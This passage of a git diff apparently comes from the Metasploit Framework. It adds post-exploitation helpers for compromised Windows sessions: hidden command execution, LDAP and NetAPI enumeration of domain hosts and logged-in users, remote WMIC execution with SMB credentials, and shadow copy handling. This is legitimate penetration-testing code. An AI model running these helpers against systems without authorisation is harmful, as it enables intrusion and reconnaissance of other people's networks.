+        cli_print "#{encoder_module.refname} succeeded with size #{shellcode.length} (iteration=#{x})"
+        raise EncoderSpaceViolation, "encoder has made a buffer that is too big" if shellcode.length > space
+      end
+      shellcode
+    end
+
+    private
+
+    # This method prints output to the console if running in CLI mode
+    # @param [String] message The message to print to the console.
+    def cli_print(message= '')
+      $stderr.puts message if cli
+    end
+
+    # This method checks if the Generator's selected format is valid
+    # @return [True] if the format is valid
+    # @return [False] if the format is not valid
+    def format_is_valid?
+      formats = (::Msf::Util::EXE.to_executable_fmt_formats + ::Msf::Simple::Buffer.transform_formats).uniq
+      formats.include? format.downcase
+    end
+
+    # This method checks if the Generator's selected payload is valid
+    # @return [True] if the payload is a valid Metasploit Payload
+    # @return [False] if the payload is not a valid Metasploit Payload
+    def payload_is_valid?
+      (framework.payloads.keys + ['stdin']).include? payload
+    end
+
+  end
+end
diff --git a/lib/msf/core/post/common.rb b/lib/msf/core/post/common.rb
index e6cce966f8..ed4fe536f6 100644
--- a/lib/msf/core/post/common.rb
+++ b/lib/msf/core/post/common.rb
@@ -2,6 +2,28 @@
 
 module Msf::Post::Common
 
+  def rhost
+    case session.type
+    when 'meterpreter'
+      session.sock.peerhost
+    when 'shell'
+      session.session_host
+    end
+  end
+
+  def rport
+    case session.type
+    when 'meterpreter'
+      session.sock.peerport
+    when 'shell'
+      session.session_port
+    end
+  end
+
+  def peer
+    "#{rhost}:#{rport}"
+  end
+
   #
   # Checks if the remote system has a process with ID +pid+
   #
@@ -98,6 +120,23 @@ module Msf::Post::Common
     return o
   end
 
+  def cmd_exec_get_pid(cmd, args=nil, time_out=15)
+    case session.type
+      when /meterpreter/
+        if args.nil? and cmd =~ /[^a-zA-Z0-9\/._-]/
+          args = ""
+        end
+        session.response_timeout = time_out
+        process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true})
+        process.channel.close
+        pid = process.pid
+        process.close
+        pid
+      else
+        print_error "cmd_exec_get_pid is incompatible with non-meterpreter sessions"
+    end
+  end
+
   #
   # Reports to the database that the host is a virtual machine and reports
   # the type of virtual machine it is (e.g VirtualBox, VMware, Xen)
@@ -114,4 +153,55 @@ module Msf::Post::Common
     report_host(vm_data)
   end
 
+  #
+  # Returns the value of the environment variable +env+
+  #
+  def get_env(env)
+    case session.type
+    when /meterpreter/
+      return session.sys.config.getenv(env)
+    when /shell/
+      if session.platform =~ /win/
+        if env[0,1] == '%'
+          unless env[-1,1] == '%'
+            env << '%'
+          end
+        else
+          env = "%#{env}%"
+        end
+
+        return cmd_exec("echo #{env}")
+      else
+        unless env[0,1] == '$'
+          env = "$#{env}"
+        end
+
+        return cmd_exec("echo \"#{env}\"")
+      end
+    end
+
+    nil
+  end
+
+  #
+  # Returns a hash of environment variables +envs+
+  #
+  def get_envs(*envs)
+    case session.type
+    when /meterpreter/
+      return session.sys.config.getenvs(*envs)
+    when /shell/
+      result = {}
+      envs.each do |env|
+        res = get_env(env)
+        result[env] = res unless res.blank?
+      end
+
+      return result
+    end
+
+    nil
+  end
+
 end
+
diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb
index 7013b95832..1d148f7028 100644
--- a/lib/msf/core/post/file.rb
+++ b/lib/msf/core/post/file.rb
@@ -41,13 +41,14 @@ module Msf::Post::File
       return stat.directory?
     else
       if session.platform =~ /win/
-        # XXX
+        f = cmd_exec("cmd.exe /C IF exist \"#{path}\\*\" ( echo true )")
       else
         f = session.shell_command_token("test -d '#{path}' && echo true")
-        return false if f.nil? or f.empty?
-        return false unless f =~ /true/
-        return true
       end
+
+      return false if f.nil? or f.empty?
+      return false unless f =~ /true/
+      return true
     end
   end
 
@@ -72,13 +73,17 @@ module Msf::Post::File
       return stat.file?
     else
       if session.platform =~ /win/
-        # XXX
+        f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )")
+        if f =~ /true/
+          f = cmd_exec("cmd.exe /C IF exist \"#{path}\\\\\" ( echo false ) ELSE ( echo true )")
+        end
       else
         f = session.shell_command_token("test -f '#{path}' && echo true")
-        return false if f.nil? or f.empty?
-        return false unless f =~ /true/
-        return true
       end
+
+      return false if f.nil? or f.empty?
+      return false unless f =~ /true/
+      return true
     end
   end
 
@@ -93,13 +98,14 @@ module Msf::Post::File
       return !!(stat)
     else
       if session.platform =~ /win/
-        # XXX
+         f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )")
       else
         f = session.shell_command_token("test -e '#{path}' && echo true")
-        return false if f.nil? or f.empty?
-        return false unless f =~ /true/
-        return true
       end
+
+      return false if f.nil? or f.empty?
+      return false unless f =~ /true/
+      return true
     end
   end
 
diff --git a/lib/msf/core/post/windows.rb b/lib/msf/core/post/windows.rb
index af386267c3..7be6f99261 100644
--- a/lib/msf/core/post/windows.rb
+++ b/lib/msf/core/post/windows.rb
@@ -1,6 +1,7 @@
 
 module Msf::Post::Windows
   require 'msf/core/post/windows/error'
+  require 'msf/core/post/windows/extapi'
   require 'msf/core/post/windows/accounts'
   require 'msf/core/post/windows/cli_parse'
   require 'msf/core/post/windows/eventlog'
@@ -11,6 +12,9 @@ module Msf::Post::Windows
   require 'msf/core/post/windows/railgun'
   require 'msf/core/post/windows/registry'
   require 'msf/core/post/windows/services'
+  require 'msf/core/post/windows/wmic'
   require 'msf/core/post/windows/shadowcopy'
   require 'msf/core/post/windows/user_profiles'
+  require 'msf/core/post/windows/ldap'
+  require 'msf/core/post/windows/reflective_dll_injection'
 end
diff --git a/lib/msf/core/post/windows/accounts.rb b/lib/msf/core/post/windows/accounts.rb
index d65930b62c..f092f48240 100644
--- a/lib/msf/core/post/windows/accounts.rb
+++ b/lib/msf/core/post/windows/accounts.rb
@@ -5,6 +5,64 @@ module Windows
 
 module Accounts
 
+  GUID = [
+    ['Data1',:DWORD],
+    ['Data2',:WORD],
+    ['Data3',:WORD],
+    ['Data4','BYTE[8]']
+  ]
+
+  DOMAIN_CONTROLLER_INFO = [
+    ['DomainControllerName',:LPSTR],
+    ['DomainControllerAddress',:LPSTR],
+    ['DomainControllerAddressType',:ULONG],
+    ['DomainGuid',GUID],
+    ['DomainName',:LPSTR],
+    ['DnsForestName',:LPSTR],
+    ['Flags',:ULONG],
+    ['DcSiteName',:LPSTR],
+    ['ClientSiteName',:LPSTR]
+  ]
+
+  ##
+  # get_domain(server_name=nil)
+  #
+  # Summary:
+  #   Retrieves the current DomainName the given server is
+  #   a member of.
+  #
+  # Parameters
+  #   server_name - DNS or NetBIOS name of the remote server
+  # Returns:
+  #   The DomainName of the remote server or nil if windows
+  #   could not retrieve the DomainControllerInfo or encountered
+  #   an exception.
+  #
+  ##
+  def get_domain(server_name=nil)
+    domain = nil
+    result = session.railgun.netapi32.DsGetDcNameA(
+      server_name,
+      nil,
+      nil,
+      nil,
+      0,
+      4)
+
+    begin
+      dc_info_addr = result['DomainControllerInfo']
+      unless dc_info_addr == 0
+        dc_info = session.railgun.util.read_data(DOMAIN_CONTROLLER_INFO, dc_info_addr)
+        pointer = session.railgun.util.unpack_pointer(dc_info['DomainName'])
+        domain = session.railgun.util.read_string(pointer)
+      end
+    ensure
+      session.railgun.netapi32.NetApiBufferFree(dc_info_addr)
+    end
+
+    domain
+  end
+
   ##
   # delete_user(username, server_name = nil)
   #
diff --git a/lib/msf/core/post/windows/extapi.rb b/lib/msf/core/post/windows/extapi.rb
new file mode 100644
index 0000000000..b0ca55822a
--- /dev/null
+++ b/lib/msf/core/post/windows/extapi.rb
@@ -0,0 +1,25 @@
+# -*- coding: binary -*-
+
+module Msf
+class Post
+module Windows
+
+module ExtAPI
+
+  def load_extapi
+    if session.extapi
+      return true
+    else
+      begin
+        return session.core.use("extapi")
+      rescue Errno::ENOENT
+        print_error("Unable to load Extended API.")
+        return false
+      end
+    end
+  end
+
+end # ExtAPI
+end # Windows
+end # Post
+end # Msf
diff --git a/lib/msf/core/post/windows/ldap.rb b/lib/msf/core/post/windows/ldap.rb
new file mode 100644
index 0000000000..960ca5af0e
--- /dev/null
+++ b/lib/msf/core/post/windows/ldap.rb
@@ -0,0 +1,376 @@
+# -*- coding: binary -*-
+
+module Msf
+class Post
+module Windows
+
+#
+# @see
+#   http://msdn.microsoft.com/en-us/library/windows/desktop/aa366961(v=vs.85).aspx
+#   MSDN: Lightweight Directory Access Protocol
+module LDAP
+
+  include Msf::Post::Windows::Error
+  include Msf::Post::Windows::ExtAPI
+  include Msf::Post::Windows::Accounts
+
+  LDAP_SIZELIMIT_EXCEEDED = 0x04
+  LDAP_OPT_SIZELIMIT = 0x03
+  LDAP_AUTH_NEGOTIATE = 0x0486
+
+  DEFAULT_PAGE_SIZE = 500
+
+  ERROR_CODE_TO_CONSTANT =
+  {
+    0x0b => 'LDAP_ADMIN_LIMIT_EXCEEDED',
+    0x47 => 'LDAP_AFFECTS_MULTIPLE_DSAS',
+    0x24 => 'LDAP_ALIAS_DEREF_PROBLEM',
+    0x21 => 'LDAP_ALIAS_PROBLEM',
+    0x44 => 'LDAP_ALREADY_EXISTS',
+    0x14 => 'LDAP_ATTRIBUTE_OR_VALUE_EXISTS',
+    0x07 => 'LDAP_AUTH_METHOD_NOT_SUPPORTED',
+    0x56 => 'LDAP_AUTH_UNKNOWN',
+    0x33 => 'LDAP_BUSY',
+    0x60 => 'LDAP_CLIENT_LOOP',
+    0x05 => 'LDAP_COMPARE_FALSE',
+    0x06 => 'LDAP_COMPARE_TRUE',
+    0x0d => 'LDAP_CONFIDENTIALITY_REQUIRED',
+    0x5b => 'LDAP_CONNECT_ERROR',
+    0x13 => 'LDAP_CONSTRAINT_VIOLATION',
+    0x5d => 'LDAP_CONTROL_NOT_FOUND',
+    0x54 => 'LDAP_DECODING_ERROR',
+    0x53 => 'LDAP_ENCODING_ERROR',
+    0x57 => 'LDAP_FILTER_ERROR',
+    0x30 => 'LDAP_INAPPROPRIATE_AUTH',
+    0x12 => 'LDAP_INAPPROPRIATE_MATCHING',
+    0x32 => 'LDAP_INSUFFICIENT_RIGHTS',
+    0x31 => 'LDAP_INVALID_CREDENTIALS',
+    0x22 => 'LDAP_INVALID_DN_SYNTAX',
+    0x15 => 'LDAP_INVALID_SYNTAX',
+    0x23 => 'LDAP_IS_LEAF',
+    0x52 => 'LDAP_LOCAL_ERROR',
+    0x36 => 'LDAP_LOOP_DETECT',
+    0x5f => 'LDAP_MORE_RESULTS_TO_RETURN',
+    0x40 => 'LDAP_NAMING_VIOLATION',
+    0x5a => 'LDAP_NO_MEMORY',
+    0x45 => 'LDAP_NO_OBJECT_CLASS_MODS',
+    0x5e => 'LDAP_NO_RESULTS_RETURNED',
+    0x10 => 'LDAP_NO_SUCH_ATTRIBUTE',
+    0x20 => 'LDAP_NO_SUCH_OBJECT',
+    0x42 => 'LDAP_NOT_ALLOWED_ON_NONLEAF',
+    0x43 => 'LDAP_NOT_ALLOWED_ON_RDN',
+    0x5c => 'LDAP_NOT_SUPPORTED',
+    0x41 => 'LDAP_OBJECT_CLASS_VIOLATION',
+    0x01 => 'LDAP_OPERATIONS_ERROR',
+    0x50 => 'LDAP_OTHER',
+    0x59 => 'LDAP_PARAM_ERROR',
+    0x09 => 'LDAP_PARTIAL_RESULTS',
+    0x02 => 'LDAP_PROTOCOL_ERROR',
+    0x0a => 'LDAP_REFERRAL',
+    0x61 => 'LDAP_REFERRAL_LIMIT_EXCEEDED',
+    0x09 => 'LDAP_REFERRAL_V2',
+    0x46 => 'LDAP_RESULTS_TOO_LARGE',
+    0x51 => 'LDAP_SERVER_DOWN',
+    0x04 => 'LDAP_SIZELIMIT_EXCEEDED',
+    0x08 => 'LDAP_STRONG_AUTH_REQUIRED',
+    0x00 => 'LDAP_SUCCESS',
+    0x03 => 'LDAP_TIMELIMIT_EXCEEDED',
+    0x55 => 'LDAP_TIMEOUT',
+    0x34 => 'LDAP_UNAVAILABLE',
+    0x0c => 'LDAP_UNAVAILABLE_CRIT_EXTENSION',
+    0x11 => 'LDAP_UNDEFINED_TYPE',
+    0x35 => 'LDAP_UNWILLING_TO_PERFORM',
+    0x58 => 'LDAP_USER_CANCELLED',
+    0x4c => 'LDAP_VIRTUAL_LIST_VIEW_ERROR'
+  }
+
+    def initialize(info = {})
+      super
+      register_options(
+      [
+        OptString.new('DOMAIN', [false, 'The domain to query or distinguished name (e.g. DC=test,DC=com)', nil]),
+        OptInt.new('MAX_SEARCH', [true, 'Maximum values to retrieve, 0 for all.', 500]),
+      ], self.class)
+    end
+
+  # Converts a Distinguished Name to DNS name
+  #
+  # @param dn [String] Distinguished Name
+  # @return [String] DNS name
+  def dn_to_domain(dn)
+    if dn.include? "DC="
+      return dn.gsub(',','').split('DC=')[1..-1].join('.')
+    else
+      return dn
+    end
+  end
+
+  # Performs an ldap query
+  #
+  # @param filter [String] LDAP search filter
+  # @param max_results [Fixnum] Maximum results
+  # @param fields [Array<String>] Attributes to retrieve
+  # @param domain [String] Optional domain or distinguished name
+  # @return [Hash] Entries found
+  # @raise [RuntimeError] Raised when the default naming context isn't
+  #   specified as distinguished name.
+  def query(filter, max_results, fields, domain=nil)
+    domain ||= datastore['DOMAIN']
+    domain ||= get_domain
+
+    if domain.blank?
+      raise RuntimeError, "Unable to find the domain to query."
+    end
+
+    if load_extapi
+      return session.extapi.adsi.domain_query(domain, filter, max_results, DEFAULT_PAGE_SIZE, fields)
+    else
+      if domain and domain.include? "DC="
+        default_naming_context = domain
+        domain = dn_to_domain(domain)
+      else
+        default_naming_context = get_default_naming_context(domain)
+      end
+
+      bind_default_ldap_server(max_results, domain) do |session_handle|
+        return query_ldap(session_handle, default_naming_context, 2, filter, fields)
+      end
+    end
+  end
+
+  # Performs a query to retrieve the default naming context
+  #
+  # @param domain [String] Optional domain or distinguished name
+  # @return [String]
+  def get_default_naming_context(domain=nil)
+    bind_default_ldap_server(1, domain) do |session_handle|
+      print_status("Querying default naming context")
+
+      query_result = query_ldap(session_handle, "", 0, "(objectClass=computer)", ["defaultNamingContext"])
+      first_entry_fields = query_result[:results].first
+      # Value from First Attribute of First Entry
+      default_naming_context = first_entry_fields.first
+      vprint_status("Default naming context #{default_naming_context}")
+      return default_naming_context
+    end
+  end
+
+  # Performs a query on the LDAP session
+  #
+  # @param session_handle [Handle] LDAP Session Handle
+  # @param base [Fixnum] Pointer to string that contains distinguished
+  #   name of entry to start the search
+  # @param scope [Fixnum] Search Scope
+  # @param filter [String] Search Filter
+  # @param fields [Array<String>] Attributes to retrieve
+  # @return [Hash] Entries found
+  def query_ldap(session_handle, base, scope, filter, fields)
+    vprint_status("Searching LDAP directory")
+    search = wldap32.ldap_search_sA(session_handle, base, scope, filter, nil, 0, 4)
+    vprint_status("search: #{search}")
+
+    if search['return'] == LDAP_SIZELIMIT_EXCEEDED
+      print_error("LDAP_SIZELIMIT_EXCEEDED, parsing what we retrieved, try increasing the MAX_SEARCH value [0:LDAP_NO_LIMIT]")
+    elsif search['return'] != Error::SUCCESS
+      print_error("No results")
+      wldap32.ldap_msgfree(search['res'])
+      return
+    end
+
+    search_count = wldap32.ldap_count_entries(session_handle, search['res'])['return']
+
+    if search_count == 0
+      print_error("No entries retrieved")
+      wldap32.ldap_msgfree(search['res'])
+      return
+    end
+
+    print_status("Entries retrieved: #{search_count}")
+
+    pEntries = []
+    entry_results = []
+
+    if datastore['MAX_SEARCH'] == 0
+      max_search = search_count
+    else
+      max_search = [datastore['MAX_SEARCH'], search_count].min
+    end
+
+    0.upto(max_search - 1) do |i|
+
+      if(i==0)
+        pEntries[0] = wldap32.ldap_first_entry(session_handle, search['res'])['return']
+      end
+
+      if(pEntries[i] == 0)
+        print_error("Failed to get entry")
+        wldap32.ldap_msgfree(search['res'])
+        return
+      end
+
+      vprint_status("Entry #{i}: 0x#{pEntries[i].to_s(16)}")
+
+      entry = get_entry(pEntries[i])
+
+      # Entries are a linked list...
+      if client.platform =~ /x64/
+        pEntries[i+1] = entry[4]
+      else
+        pEntries[i+1] = entry[3]
+      end
+
+      ber = get_ber(entry)
+
+      field_results = []
+      fields.each do |field|
+        vprint_status("Field: #{field}")
+
+        values = get_values_from_ber(ber, field)
+
+        values_result = ""
+        values_result = values.join(',') if values
+        vprint_status("Values #{values}")
+
+        field_results << values_result
+      end
+
+      entry_results << field_results
+    end
+
+    return {
+        :fields  => fields,
+        :results => entry_results
+    }
+  end
+
+  # Gets the LDAP Entry
+  #
+  # @param pEntry [Fixnum] Pointer to the Entry
+  # @return [Array] Entry data structure
+  def get_entry(pEntry)
+    return client.railgun.memread(pEntry,41).unpack('LLLLLLLLLSCCC')
+  end
+
+  # Get BER Element data structure from LDAPMessage
+  #
+  # @param msg [String] The LDAP Message from the server
+  # @return [String] The BER data structure
+  def get_ber(msg)
+    ber = client.railgun.memread(msg[2],60).unpack('L*')
+
+    # BER Pointer is different between x86 and x64
+    if client.platform =~ /x64/
+      ber_data = client.railgun.memread(ber[4], ber[0])
+    else
+      ber_data = client.railgun.memread(ber[3], ber[0])
+    end
+
+    return ber_data
+  end
+
+  # Search through the BER data structure for our Attribute.
+  # This doesn't attempt to parse the BER structure correctly
+  # instead it finds the first occurance of our field name
+  # tries to check the length of that value.
+  #
+  # @param ber_data [String] BER data structure
+  # @param field [String] Attribute name
+  # @return [Array] Values for the given +field+
+  def get_values_from_ber(ber_data, field)
+    field_offset = ber_data.index(field)
+
+    unless field_offset
+      vprint_status("Field not found in BER: #{field}")
+      return nil
+    end
+
+    # Value starts after our field string
+    values_offset = field_offset + field.length
+    values_start_offset = values_offset + 8
+    values_len_offset = values_offset + 5
+    curr_len_offset = values_offset + 7
+
+    values_length =  ber_data[values_len_offset].unpack('C')[0]
+    values_end_offset = values_start_offset + values_length
+
+    curr_length = ber_data[curr_len_offset].unpack('C')[0]
+    curr_start_offset = values_start_offset
+
+    if (curr_length >= 127)
+      curr_length = ber_data[curr_len_offset+1,4].unpack('N')[0]
+      curr_start_offset += 4
+    end
+
+    curr_end_offset = curr_start_offset + curr_length
+
+    values = []
+    while (curr_end_offset < values_end_offset)
+      values << ber_data[curr_start_offset..curr_end_offset]
+
+      break unless ber_data[curr_end_offset] == "\x04"
+
+      curr_len_offset = curr_end_offset + 1
+      curr_length = ber_data[curr_len_offset].unpack('C')[0]
+      curr_start_offset = curr_end_offset + 2
+      curr_end_offset = curr_end_offset + curr_length + 2
+    end
+
+    # Strip trailing 0 or \x04 which is used to delimit values
+    values.map! {|x| x[0..x.length-2]}
+
+    return values
+  end
+
+  # Shortcut to the WLDAP32 Railgun Object
+  # @return [Object] wldap32
+  def wldap32
+    client.railgun.wldap32
+  end
+
+  # Binds to the default LDAP Server
+  # @param size_limit [Fixnum] Maximum number of results to return in a query
+  # @param domain [String] Optional domain or distinguished name
+  # @return LDAP session handle
+  def bind_default_ldap_server(size_limit, domain=nil)
+    vprint_status("Initializing LDAP connection.")
+
+    # If domain is still null the API may be able to handle it...
+    init_result = wldap32.ldap_sslinitA(domain, 389, 0)
+    session_handle = init_result['return']
+    if session_handle == 0
+      raise RuntimeError.new("Unable to initialize ldap server: #{init_result["ErrorMessage"]}")
+    end
+
+    vprint_status("LDAP Handle: #{session_handle}")
+
+    vprint_status("Setting Sizelimit Option")
+    wldap32.ldap_set_option(session_handle, LDAP_OPT_SIZELIMIT, size_limit)
+
+    vprint_status("Binding to LDAP server")
+    bind_result = wldap32.ldap_bind_sA(session_handle, nil, nil, LDAP_AUTH_NEGOTIATE)
+
+    bind = bind_result['return']
+    unless bind == 0
+      wldap32.ldap_unbind(session_handle)
+      raise RuntimeError.new("Unable to bind to ldap server: #{ERROR_CODE_TO_CONSTANT[bind]}")
+    end
+
+    if (block_given?)
+      begin
+        yield session_handle
+      ensure
+        vprint_status("Unbinding from LDAP service")
+        wldap32.ldap_unbind(session_handle)
+      end
+    else
+      return session_handle
+    end
+
+    return session_handle
+  end
+
+end
+
+end
+end
+end
diff --git a/lib/msf/core/post/windows/netapi.rb b/lib/msf/core/post/windows/netapi.rb
new file mode 100644
index 0000000000..edc7eb235a
--- /dev/null
+++ b/lib/msf/core/post/windows/netapi.rb
@@ -0,0 +1,152 @@
+# -*- coding: binary -*-
+module Msf
+class Post
+module Windows
+
+module NetAPI
+
+  MAX_PREFERRED_LENGTH = -1
+  SV_TYPE_ALL = 0xFFFFFFFF
+  SV_TYPE_DOMAIN_ENUM = 0x80000000
+  SV_TYPE_DOMAIN_BAKCTRL = 10
+  SV_TYPE_DOMAIN_CTRL = 4
+
+  ERROR_ACCESS_DENIED = 5
+  ERROR_NOT_ENOUGH_MEMORY = 8
+  ERROR_INVALID_PARAMETER = 87
+  ERROR_INVALID_LEVEL = 124
+  ERROR_MORE_DATA = 234
+  ERROR_NO_BROWSER_SERVERS_FOUND = 6118
+
+  NERR_ClientNameNotFound = 2312
+  NERR_InvalidComputer = 2351
+  NERR_UserNotFound = 2221
+
+  def UnicodeByteStringToAscii(str)
+    length = (str.index "\0\0\0") + 1
+    Rex::Text.to_ascii(str[0..length])
+  end
+
+  def netapi_buffer_free(ptr)
+    # Free the buffer
+    ret = client.railgun.netapi32.NetApiBufferFree(ptr)
+    vprint_error("Unable to free buffer, Error Code: #{ret['return']}") unless ret['return'] == 0
+  end
+
+  def net_server_enum(server_type=SV_TYPE_ALL, domain=nil)
+    hosts = []
+
+    result = client.railgun.netapi32.NetServerEnum(
+        nil,    # servername
+        100,    # level (100/101)
+        4,      # bufptr
+        MAX_PREFERRED_LENGTH, # prefmaxlen
+        4,      # entries read
+        4,      # total entries
+        server_type, # server_type
+        domain,    # domain
+        nil     # resume handle
+    )
+
+    case result['return']
+    when 0
+      hosts = read_server_structs(result['bufptr'], result['totalentries'], domain, server_type)
+    when ERROR_NO_BROWSER_SERVERS_FOUND
+      print_error("ERROR_NO_BROWSER_SERVERS_FOUND")
+      return nil
+    when ERROR_MORE_DATA
+      vprint_error("ERROR_MORE_DATA")
+      return nil
+    end
+
+    netapi_buffer_free(result['bufptr'])
+
+    return hosts
+  end
+
+  def read_server_structs(start_ptr, count, domain, server_type)
+    base = 0
+    struct_size = 8
+    hosts = []
+    mem = client.railgun.memread(start_ptr, struct_size*count)
+
+    count.times do
+      x = {}
+      x[:version]= mem[(base + 0),4].unpack("V*")[0]
+      nameptr = mem[(base + 4),4].unpack("V*")[0]
+      x[:name] = UnicodeByteStringToAscii(client.railgun.memread(nameptr, 255))
+      hosts << x
+      base += struct_size
+    end
+
+    return hosts
+  end
+
+  def net_session_enum(hostname, username)
+    sessions = []
+
+    result = client.railgun.netapi32.NetSessionEnum(
+        hostname,   # servername
+        nil,        # UncClientName
+        username,   # username
+        10,         # level
+        4,          # bufptr
+        MAX_PREFERRED_LENGTH, # prefmaxlen
+        4,          # entriesread
+        4,          # totalentries
+        nil         # resume_handle
+    )
+
+    case result['return']
+    when 0
+      vprint_error("#{hostname} Session identified")
+      sessions = read_session_structs(result['bufptr'], result['totalentries'], hostname)
+    when ERROR_ACCESS_DENIED
+      vprint_error("#{hostname} Access denied...")
+      return nil
+    when 53
+      vprint_error("Host not found or did not respond: #{hostname}")
+      return nil
+    when 123
+      vprint_error("Invalid host: #{hostname}")
+      return nil
+    when NERR_UserNotFound
+      return nil
+    when ERROR_MORE_DATA
+      vprint_error("#{hostname} ERROR_MORE_DATA")
+    else
+      vprint_error("Unaccounted for error code: #{result['return']}")
+      return nil
+    end
+
+    netapi_buffer_free(result['bufptr'])
+
+    return sessions
+  end
+
+  def read_session_structs(start_ptr, count, hostname)
+    base = 0
+    struct_size = 16
+    sessions = []
+    mem = client.railgun.memread(start_ptr, struct_size*count)
+    
+    count.times do
+      sess = {}
+      cnameptr = mem[(base + 0),4].unpack("V*")[0]
+      usernameptr = mem[(base + 4),4].unpack("V*")[0]
+      sess[:usetime] = mem[(base + 8),4].unpack("V*")[0]
+      sess[:idletime] = mem[(base + 12),4].unpack("V*")[0]
+      sess[:cname] = UnicodeByteStringToAscii(client.railgun.memread(cnameptr,255))
+      sess[:username] = UnicodeByteStringToAscii(client.railgun.memread(usernameptr,255))
+      sess[:hostname] = hostname
+      sessions << sess
+      base = base + struct_size
+    end
+
+    return sessions
+  end
+
+end # NetAPI
+end # Windows
+end # Post
+end # Msf
diff --git a/lib/msf/core/post/windows/shadowcopy.rb b/lib/msf/core/post/windows/shadowcopy.rb
index e48720f92b..64f4870977 100644
--- a/lib/msf/core/post/windows/shadowcopy.rb
+++ b/lib/msf/core/post/windows/shadowcopy.rb
@@ -11,6 +11,15 @@ module Windows
 module ShadowCopy
 
   include Msf::Post::Windows::Services
+  include Msf::Post::Windows::WMIC
+
+  def initialize(info = {})
+    super
+
+    register_options([
+      OptInt.new("TIMEOUT", [ true, "Timeout for WMI command in seconds", 60 ])
+    ], self.class)
+  end
 
   #
   # Get the device name for the shadow copy, which is used when accessing
@@ -37,7 +46,7 @@ module ShadowCopy
   # Use WMIC to get a list of volume shadow copy IDs.
   #
   def vss_get_ids
-    result = wmicexec('shadowcopy get id')
+    result = wmic_query('shadowcopy get id')
     ids = result.scan(/\{\w{8}-\w{4}-\w{4}-\w{4}-\w{12}\}/)
     return ids
   end
@@ -88,7 +97,7 @@ module ShadowCopy
   # specified by +id+
   #
   def get_sc_param(id,param_name)
-    result = wmicexec("shadowcopy where(id=#{id}) get #{param_name}")
+    result = wmic_query("shadowcopy where(id=#{id}) get #{param_name}")
     result.gsub!(param_name,'')
     result.gsub!(/\s/,'')
   end
@@ -98,7 +107,7 @@ module ShadowCopy
   # +param_name+
   #
   def vss_get_storage_param(param_name)
-    result = wmicexec("shadowstorage get #{param_name}")
+    result = wmic_query("shadowstorage get #{param_name}")
     result.gsub!(param_name,'')
     result.gsub!(/\s/,'')
   end
@@ -107,7 +116,7 @@ module ShadowCopy
   # Set the shadowstorage MaxSpace parameter to +bytes+ size
   #
   def vss_set_storage(bytes)
-    result = wmicexec("shadowstorage set MaxSpace=\"#{bytes}\"")
+    result = wmic_query("shadowstorage set MaxSpace=\"#{bytes}\"")
     if result.include?("success")
       return true
     else
@@ -119,7 +128,8 @@ module ShadowCopy
   # Create a new shadow copy of the volume specified by +volume+
   #
   def create_shadowcopy(volume)
-    result = wmicexec("shadowcopy call create \"ClientAccessible\", \"#{volume}\"")
+    result = wmic_query("shadowcopy call create \"ClientAccessible\", \"#{volume}\"")
+
     retval = result.match(/ReturnValue = (\d)/)
     case retval[1].to_i
     when 0
@@ -160,7 +170,7 @@ module ShadowCopy
   # Start the Volume Shadow Service
   #
   def start_vss
-    vss_state = wmicexec('Service where(name="VSS") get state')
+    vss_state = wmic_query('Service where(name="VSS") get state')
     if vss_state=~ /Running/
       print_status("Volume Shadow Copy service is running.")
     else
@@ -191,48 +201,6 @@ module ShadowCopy
     return true
   end
 
-  #
-  # Execute a WMIC command
-  #
-  def wmicexec(wmiccmd)
-    tmpout = ''
-    session.response_timeout=120
-    begin
-      tmp = session.fs.file.expand_path("%TEMP%")
-      wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000))
-      r = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe /append:#{wmicfl} #{wmiccmd}", nil, {'Hidden' => true})
-      sleep(2)
-      #Making sure that wmic finishes before executing next wmic command
-      prog2check = "wmic.exe"
-      found = 0
-      while found == 0
-        session.sys.process.get_processes().each do |x|
-          found =1
-          if prog2check == (x['name'].downcase)
-            sleep(0.5)
-            found = 0
-          end
-        end
-      end
-      r.close
-
-      # Read the output file of the wmic commands
-      wmioutfile = session.fs.file.new(wmicfl, "rb")
-      until wmioutfile.eof?
-        tmpout << wmioutfile.read
-      end
-      wmioutfile.close
-    rescue ::Exception => e
-      print_error("Error running WMIC commands: #{e.class} #{e}")
-    end
-    # We delete the file with the wmic command output.
-    c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})
-    c.close
-    tmpout.gsub!(/[^[:print:]]/,'') #scrub out garbage
-    return tmpout
-  end
-
-
 end
 end
 end
diff --git a/lib/msf/core/post/windows/wmic.rb b/lib/msf/core/post/windows/wmic.rb
new file mode 100644
index 0000000000..f2e5fc965d
--- /dev/null
+++ b/lib/msf/core/post/windows/wmic.rb
@@ -0,0 +1,119 @@
+# -*- coding: binary -*-
+
+module Msf
+class Post
+module Windows
+
+module WMIC
+
+  include Msf::Post::File
+  include Msf::Post::Windows::ExtAPI
+
+  def initialize(info = {})
+    super
+
+    register_options([
+                         OptString.new('SMBUser', [ false, 'The username to authenticate as' ]),
+                         OptString.new('SMBPass', [ false, 'The password for the specified username' ]),
+                         OptString.new('SMBDomain',  [ false, 'The Windows domain to use for authentication' ]),
+                         OptAddress.new("RHOST", [ true, "Target address range", "localhost" ]),
+                         OptInt.new("TIMEOUT", [ true, "Timeout for WMI command in seconds", 10 ])
+                     ], self.class)
+  end
+
+  def wmic_query(query, server=datastore['RHOST'])
+    extapi = load_extapi
+
+    result_text = ""
+
+    if datastore['SMBUser']
+      if server.downcase == "localhost" || server.downcase.starts_with("127.")
+        raise RuntimeError, "WMIC: User credentials cannot be used for local connections"
+      end
+    end
+
+    if extapi
+      session.extapi.clipboard.set_text("")
+      wcmd = "wmic #{wmic_user_pass_string}/output:CLIPBOARD /INTERACTIVE:off /node:#{server} #{query}"
+    else
+      tmp = session.fs.file.expand_path("%TEMP%")
+      out_file = "#{tmp}\\#{Rex::Text.rand_text_alpha(8)}"
+      wcmd = "wmic #{wmic_user_pass_string}/output:#{out_file} /INTERACTIVE:off /node:#{server} #{query}"
+    end
+
+    vprint_status("[#{server}] #{wcmd}")
+
+    # We dont use cmd_exec as WMIC cannot be Channelized
+    ps = session.sys.process.execute(wcmd, nil, {'Hidden' => true, 'Channelized' => false})
+    session.railgun.kernel32.WaitForSingleObject(ps.handle, (datastore['TIMEOUT'] * 1000))
